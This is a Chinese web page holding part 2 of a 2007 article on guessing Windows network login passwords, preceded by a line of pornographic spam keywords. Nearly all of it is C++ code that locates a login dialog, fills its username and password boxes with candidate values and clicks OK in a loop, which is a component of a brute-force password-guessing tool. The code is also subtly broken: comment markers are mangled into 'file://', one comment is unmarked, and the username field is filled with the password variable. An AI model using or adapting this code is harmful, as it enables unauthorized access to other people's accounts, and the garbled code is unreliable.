亚洲成精品动漫久久精久,九九在线精品视频播放,黄色成人免费观看,三级成人影院,久碰久,四虎成人欧美精品在永久在线

掃一掃
關注微信公眾號

Windows網絡用戶登錄密碼的猜解2
2007-08-15   中國IT實驗室

3.窗口及子窗口枚舉

  UINT ThreadProc(LPVOID *pPraram)

  {

  while(1){ while(!EnumWindows((WNDENUMPROC)EnumWindowsProc,NULL))break;}

  return 0;

  }

  BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)

  {

  char lpWinTitle[MAX_LINELENGTH];

  ::GetWindowText(hwnd,lpWinTitle,MAX_LINELENGTH-1);

  if(strcmp(lpWinTitle,sTitle)==0)// sTitle:網絡登錄窗口的窗口名

  { gMutex.Lock(INFINITE);//防止兩個線程同時操作

  while(EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,NULL));

  gMutex.Unlock();

  return FALSE;

  }

  return TRUE;

  }

  BOOL CALLBACK EnumChildProc( HWND hwnd,LPARAM lParam)

  {

  char sChildName[MAX_LINELENGTH];

  ::GetClassName(hwnd,sChildName,MAX_LINELENGTH-1);

  file://處理編輯控件,登錄窗口中一般只有兩個編輯框,可用MicroSoft Spy++查看窗口的

  file://各個子窗口

  // 的屬性。通過對比各控件的風格或名字來區別各控件。

  if(strcmp(sChildName,"Edit")==0)

  {

  DWORD dWinSty=::GetWindowLong(hwnd,GWL_STYLE);

  if((dWinSty&ES_PASSWORD)==ES_PASSWORD)//這是密碼輸入編輯控件

  {

  gEventNextPass.SetEvent();//發送“新密碼”事件

  WaitForSingleObject(gEventPassOk, INFINITE); file://等待“密碼完成”事件

  gEventPassOk.ResetEvent(); file://復位

  ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);

  file://把新密碼填到密碼輸入框,也可用SetWindowText()

  bPass=TRUE;//記錄密碼已填入

  if(bUser&&(hOk!=NULL))//如果用戶名已填入,“確定”按鈕已找到。

  {

  ::SendMessage(::GetParent(hOk),WM_COMMAND,

  (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));

  file://向“確定”按鈕送消息,參照ClassWizard的消息映射

  bUser=FALSE;bPass=FALSE;hOk=NULL;

  file://完成一次登錄,初始化

  return FALSE;

  }

  return TRUE;

  }

  file://非此即彼,這是用戶名輸入編輯控件

  if((dWinSty&ES_READONLY)!=ES_READONLY)

  {

  ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);

  file://把新用戶名填到用戶名輸入框,也可用SetWindowText()

  bUser=TRUE;// 新用戶名已填入用戶名輸入框

  if(bPass&&(hOk!=NULL)) 如果密碼已填入,“確定”按鈕已找到。

  {

  ::SendMessage(::GetParent(hOk),WM_COMMAND,

  (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));

  file://向“確定”按鈕送消息,參照ClassWizard的消息映射

  bUser=FALSE;bPass=FALSE;hOk=NULL;

  file://完成一次登錄,初始化

  return FALSE;

  }

  }

  return TRUE;

  }

  file://如果是按鈕控件

  if(strcmp(sChildName,"Button")==0)

  {

  char sChildTitle[MAX_LINELENGTH];

  ::GetWindowText(hwnd,sChildTitle,MAX_LINELENGTH-1);

  if(strcmp(sChildTitle,sButtonOk)!=0) return TRUE;

  // sButtonOk:登錄窗口中“OK”按鈕的標題

  hOk=hwnd;//記錄“OK”窗口句柄

  if(bUser&&bPass)

  {

  ::SendMessage(::GetParent(hOk),WM_COMMAND,

  (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));

  file://向“確定”按鈕送消息,參照ClassWizard的消息映射

  bUser=FALSE;bPass=FALSE;hOk=NULL;

  file://完成一次登錄,初始化

  return FALSE;

  }

  return TRUE;

  }

  return TRUE;

  }

熱詞搜索:

上一篇:Windows網絡用戶登錄密碼的猜解1
下一篇:Windows網絡用戶登錄密碼的猜解3

分享到: 收藏